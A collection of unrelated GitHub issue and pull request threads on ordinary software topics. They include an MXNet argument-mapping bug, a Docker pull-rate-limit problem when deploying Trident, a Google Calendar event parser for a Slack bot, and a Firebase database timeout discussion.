I've noticed that MXNet does not preserve what I'm calling 'output independence' during it's memory planning (issue forthcoming).  While I'm talking here about the model as a whole, I've noticed many graph passes are applied to subgraphs as well, so perhaps the issue is relevent to this PR.  Any update on status here?

Hi @DickJC123 sorry I havent been able to prioritize finishing off this PR. IMO the problem is similar and endemic in mxnet but not related to this PR. Please do file an issue at the very least for posterity.

I have not begun to work on this, and my plate is fairly full, so someone else can jump in if they want.  The issue can be fixed narrowly to match the failing case I posted, but I was hoping for someone to also understand/fix the 'endemic' issue @samskalicky mentions in https://github.com/apache/incubator-mxnet/pull/16131.

@mseth10 looks like we made an aux an arg somehow, thats why the MKLDNN tests are failing:

in_args_map
arg_names
arg_names

data

conv1_weight

bn1_gamma

bn1_beta

conv2_weight

bn2_gamma

bn2_beta

@mseth10 looks like we made an aux an arg somehow, thats why the MKLDNN tests are failing:
in_args_map	arg_names	arg_names
data	data	data
conv1_weight	conv1_weight	conv1_weight
bn1_gamma	bn1_gamma	bn1_gamma
bn1_beta	bn1_beta	bn1_beta
conv2_weight	conv2_weight	conv2_weight
bn2_gamma	bn2_gamma	bn2_gamma
bn2_beta	bn2_beta	bn2_beta
bn2_moving_mean
So this is why the error says
MXNetError: Check failed: arg_names.size() == in_args_map.size() (8 vs. 7) :

Theres one extra name in arg_names for bn2_moving_mean

For the record @mseth10 i finally found the issue that caused this "making an aux an arg" problem: https://github.com/apache/incubator-mxnet/pull/19112#issuecomment-690810445


Home Screen Banner Not working

Hello,
The home screen banner doesn't work for me
https://pwademoheff.firebaseapp.com/
What am I doing wrong please?
git clone
npm install
npm run build
firebase init (build folder)
firebase deploy
I notice that I am missing a file https://jeffy.info/jekyll-behavior-import.js in the source

Could it be because the short name in the manifest is too long?

It is working now I suspect my issue came from the length of short name in the manifest but I haven't reproduced it.


Handle properties with question marks

The heroku schema now includes the ca_signed? and self_signed?
properties which schematic attempts to turn into this code which doesn't
compile:
type SSLCert struct {
  ...
  CaSigned? string `json:"ca_signed?"`
}

This updates the Go field name generation to turn foo? schema
properties into IsFoo struct fields to match Go's idioms.

🚢 !


Trident deployment fail - toomanyrequests: You have reached your pull rate limit

Hello team, I assume the question I'm going to ask has been raised many times already. I tried to search for answers but I did not get the right help so far. By the way I and my team (@Andrea Tosato) are struggling to deploy Trident on a Racher environment. We run into the "pull rate limit" error and, although we made a lot of troubleshooting, we did not find the way to solve the issue. I would really appreciate an help from someone who ran into the same problem.I'm going to give you further info about what we made to troubleshoot the error:

we created a docker user;
we applied the "Pull an Image from a Private Registry" -> https://kubernetes.io/docs/tasks/configure-pod-container/pull-image-private-registry/
we read through the blog https://netapp.io/2021/05/21/docker-rate-limit-issue/ even if this was RedHat related and we tried to apply the same stuff with no success;

Lastly I'm attaching the output of the error we got once we try to run the Trident installation.
I would be pleasure to get an help.
Many thanks in advance.
error installing trident.txt

Duplicate of https://github.com/NetApp/trident/issues/515

Closing this issue as a duplicate of #515.


Respect the hublist XSD for an output

For https://github.com/direct-connect/go-dcpp/tree/master/cmd/dcping:
Can you implement an output that respect this XSD: https://gitlab.com/dcnf/hublist/blob/master/hublist.xml.xsd
Thank you in advance

Fixed in https://github.com/direct-connect/go-dcpp/commit/26e98d88f677a54ff024845beb47ba184a671085


DAOS-9902 API: To support empty container lable

Signed-off-by: Lei Huang<EMAIL_ADDRESS>

@adammoody I went ahead and landed since the changes are contained to mfu_daos.c. In general, are you okay with this, as long DAOS changes are contained to DAOS-only source files?

Yes, that's fine to go ahead a merge daos-specific items.  Thanks for checking, @daltonbohning .


Move get_scheduled_tasks call into register_tasks function (Backport #6556)

Backport for #6556

Thanks for submitting the backport :)


Status bar

Powerline2 has a status bar, but currently that isn't doable with powerline3.

what do you mean by status bar?

A bar along the bottom of the screen as is done with Powerline 2 or Powerline's $PL_TOOLBAR variable, as visible here.
Incidentally, I like direction you're going with this.  It feels more directly integrated into Xonsh.

you could just use https://xon.sh/envvars.html#bottom-toolbar
The idea here is to use this library as a theme and not bring its own set of configurations as much as possible.

Thanks!  I was unaware of the existence of $BOTTOM_TOOLBAR, it has been added since I started using Xonsh.


Shared cache for In-memory databases support added.

In-memory databases are allowed to use shared cache. It allowes to connect multiple times to one in-memory database and see changes by previous session. Special parameter cache=shared should be provided in URI filename.
See https://www.sqlite.org/inmemorydb.html
It's a useful feature for unit-testing. I have implemented it, works fine.

@jayralencar Thank you for fast merging! I'm looking forward for a new version of sqlite-sync with this feature. I really need it for my project testing


Parse events from Google Calendar

Description
This PR introduces two new utility functions for retrieving and parsing Google Calendar events into a custom CalendarEvent class. The goal is to provide a convenient way to fetch upcoming events within the next 24 hours and filter events by a specific Slack channel.

Added a new function parseEvents:

Parses all events from all channels in the next 24 hours into a list of CalendarEvent instances.

Added a new function parseEventsByChannel:

Takes a channelNames as an argument and filters upcoming events for that specific channel.

Closes #17
Developer Testing
To test the parseEventsByChannel function, I created three events, one for the #general channel, one for the #software channel, and one with no description.
parseEvents will produce the following list of CalendarEvents
[
  CalendarEvent {
    title: 'General',
    start: 2023-12-27T14:00:00.000Z,
    end: 2023-12-27T15:00:00.000Z,
    location: undefined,
    description: 'this is the event description\n' +
      "Wow, ain't this great.\n" +
      "look at how I'm demonstrating multi-line-ness",
    minervaEventMetadata: {
      channel: [SlackChannel],
      meetingLink: 'https://meet.waterloorocketry.com'
    }
  },
  CalendarEvent {
    title: 'Software',
    start: 2023-12-27T15:00:00.000Z,
    end: 2023-12-27T16:00:00.000Z,
    location: undefined,
    description: 'this is the event description\n' +
      "Wow, ain't this great.\n" +
      "look at how I'm demonstrating multi-line-ness",
    minervaEventMetadata: {
      channel: [SlackChannel],
      meetingLink: 'https://meet.waterloorocketry.com'
    }
  },
  CalendarEvent {
    title: 'No description',
    start: 2023-12-27T16:00:00.000Z,
    end: 2023-12-27T17:00:00.000Z,
    location: undefined
  }
]

In the async function, below the console.log(⚡ Bolt app is running!); line, add the following lines of code to test:
// Call the initialize function from googleCalendar.ts
const nextEvents = await getEvents(auth);

// Fetch all channels
const channels = await getAllSlackChannels(app);

// Parse events
const eventsToParse = await parseEvents(nextEvents, channels);

// Parse events by channels
const selectedChannels = *to be changed for testing*;
const eventsToParseByChannels = await parseEventsOfChannels(eventsToParse, selectedChannels);

console.log(eventsToParseByChannels);

Test 1: Existing channel with events under it (const selectedChannels = ["software"])
Result:
[
  CalendarEvent {
    title: 'Software',
    start: 2023-12-27T15:00:00.000Z,
    end: 2023-12-27T16:00:00.000Z,
    location: undefined,
    description: 'this is the event description\n' +
      "Wow, ain't this great.\n" +
      "look at how I'm demonstrating multi-line-ness",
    minervaEventMetadata: {
      channel: [SlackChannel],
      meetingLink: 'https://meet.waterloorocketry.com'
    }
  }
]

Test 2: Exisiting channel but no events under it (const selectedChannels = ["media"])
Result:
[]

Test 3: Non-existent channel (const selectedChannels = ["fake"])
Result:
[]

Reviewer Testing

This change is

Moved all functions into src/utils/googleCalendar. Will now work on exposing the functionality through the Dev Slackbot so reviewers can verify its functionality.

src/utils/googleCalendar.ts line 57 at r4 (raw file):
Previously, QuantumManiac (Chamath Wijesekera) wrote…
Instead of having two different functions that parse the calendar_v3.Schema$Events fetched from the Google Calendar API in their own way, it might be better to just pass in an array of CalendarEvent (presumably the result of  parseEvents) and then just filter that. It's good to avoid passing around the non-parsed results of an API response between your functions, i.e. instead of passing around calendar_v3.Schema$Events, parse it into CalendarEvents instead so all the functions that take care of that data don't have to parse it themselves.

Done.

Made all the necessary changes. Added the testing process and cases in the main PR page https://github.com/waterloo-rocketry/minerva-rewrite/pull/57


[Enhancement]: Form summary for optional entries should label null response as "No Response"

When submitting a form with optional questions left blank, don't show null entries

They're omitted from the database, right?

I think the summary needs to show everything in case someone wants to print/copy+paste they won't have a the test schema "in their head" to provide the missing questions like a proper query would.


given/when doesn't work for objects that overload the smartmatch (~~) operator

given/when doesn't work for objects that overload the smartmatch (~~) operator

Fixed in v1.023


UI enhancements

Resolves #176 #164

@race-of-sloths include

@Megha-Dev-19 Thank you for your contribution! Your pull request is now a part of the Race of Sloths!

Current status: waiting for scoring
We're waiting for maintainer to score this pull request with @race-of-sloths score [0,1,2,3,5,8,13] command. Alternatively, autoscoring [1,2] will be applied for this pull request
What is the Race of Sloths

Race of Sloths is a friendly competition where you can participate in challenges and compete with other open-source contributors within your normal workflow
For contributors:

Tag @race-of-sloths inside your pull requests
Wait for the maintainer to review and score your pull request
Check out your position in the Leaderboard
Keep weekly and monthly streaks to reach higher positions
Boast your contributions with a dynamic picture of your Profile

For maintainers:

Score pull requests that participate in the Race of Sloths and receive a reward
Engage contributors with fair scoring and fast responses so they keep their streaks
Promote the Race to the point where the Race starts promoting you
Grow the community of your contributors

Feel free to check our website for additional details!

Bot commands

For contributors

Include a PR: @race-of-sloths include to enter the Race with your PR

For maintainers:

Invite contributor @race-of-sloths invite to invite the contributor to participate in a race or include it, if it's already a runner.
Assign points: @race-of-sloths score [1/2/3/5/8/13] to award points based on your assessment.
Reject this PR: @race-of-sloths exclude to send this PR back to the drawing board.
Exclude repo: @race-of-sloths pause to stop bot activity in this repo until @race-of-sloths unpause command is called

I don't see a test that goes through the reproduction steps in https://github.com/NEAR-DevHub/neardevhub-treasury-dashboard/issues/164
Shouldn't we have that?

I also miss a test reproducing this: https://github.com/NEAR-DevHub/neardevhub-treasury-dashboard/issues/176

Note: Because of time crunch we will merge this PR w/o tests but I will create another PR for tests and link it here

@race-of-sloths score 5


adventuregamestudio: Add version <IP_ADDRESS>

Closes #10669

[x] I have read the Contributing Guide.

/verify


operator k10-kasten-operator-term-rhmp (6.5.10)

New operator bundle
Name: k10-kasten-operator-term-rhmp
Version: 6.5.10
Certification project: 61fc2c2f64bb05aac70fd4d5
Test result URL: https://catalog.redhat.com/api/containers/v1/projects/certification/test-results/id/66038eef3a117c5f2eda6bf7
Test logs URL: https://catalog.redhat.com/api/containers/v1/projects/certification/artifacts/id/66038eec663e51131886fa8a

/pipeline restart operator-release-pipeline

/pipeline restart operator-release-pipeline


DatabaseReference.onValue never returns on a high-latency network

Steps to Reproduce
This is a problem in firebase_database.
I encountered this problem when I was working with Firebase references while tethered to my phone's hotspot.
We have a function that awaits DatabaseReference#once() and noticed that the app hangs indefinitely when reaching that codepoint. It seems like the Future returned by DatabaseReference#onValue never gets completed.
I can the same query using the Firebase JS SDK and was able to get a result, albeit with significant (~5s) delay.
Is there a timeout in the firebase_database code that would make the Future fail silently?
Logs
none
Flutter Doctor
[✓] Flutter (on Mac OS X 10.12.5 16F73, locale en-US, channel unknown)
• Flutter at /Users/philipp/code/flutter
• Framework revision d36e2f6191 (5 weeks ago), 2017-06-21 15:09:10 -0700
• Engine revision b0dee695ec
• Tools Dart version 1.24.0-dev.6.7
[✓] Android toolchain - develop for Android devices (Android SDK 26.0.0)
• Android SDK at /Users/philipp/Library/Android/sdk
• Platform android-26, build-tools 26.0.0
• Java binary at: /Applications/Android Studio.app/Contents/jre/jdk/Contents/Home/bin/java
• Java version OpenJDK Runtime Environment (build 1.8.0_112-release-b06)
[✓] iOS toolchain - develop for iOS devices (Xcode 8.3.3)
• Xcode at /Applications/Xcode.app/Contents/Developer
• Xcode 8.3.3, Build version 8E3004b
• ios-deploy 1.9.1
• CocoaPods version 1.3.0.beta.1
[✓] Android Studio (version 2.3)
• Android Studio at /Applications/Android Studio.app/Contents
• Gradle version 3.2
• Java version OpenJDK Runtime Environment (build 1.8.0_112-release-b06)
[✓] IntelliJ IDEA Ultimate Edition (version 2017.2)
• Flutter plugin version 15.1
• Dart plugin version 172.3317.48
[✓] Connected devices
• Android SDK built for x86 • emulator-5554                        • android-x86 • Android 7.0 (API 24) (emulator)
• iPhone SE                 • B42ADC67-E52E-43A9-A3B1-B5AC81D7E2F9 • ios         • iOS 10.3 (simulator)

cc @collinjackson

You could use Future.timeout for this. Would that solve your issue?

@collinjackson that would solve the problem if this were an isolated instance but we see cases where any call to DatabaseReference.onValue could fail silently and bring the app to a halt. In my opinion, this should be handled by the framework which should should throw an error when the call times out.
I'm happy to discuss this more.
In the meantime, we will wrap invocations that are in the critical path of our app (e.g. loading screens waiting for server results) in Future.timeout.

You may find this StackOverflow answer helpful.
We're doing the same thing as the iOS and Android Firebase SDKs as far as I know.

@collinjackson Thank you. We will use this in instances where a future timing out constitutes a fatal error.

I'm closing this issue because I don't think we should add a default timeout to the plugin, but I do appreciate the feedback. Further comments are very welcome.

@pcomans
This issue has been moved to https://github.com/FirebaseExtended/flutterfire/issues/978. Any further collaboration will be done there.


ffmepg timecode cutting

https://stackoverflow.com/questions/18444194/cutting-the-videos-based-on-start-and-end-time-using-ffmpeg
tdcourse에 작성하기
https://golangexample.com/a-lightweight-video-editing-library-for-go/
https://github.com/jfbus/mp4

csi에서 할 필요가 없는 영역이다.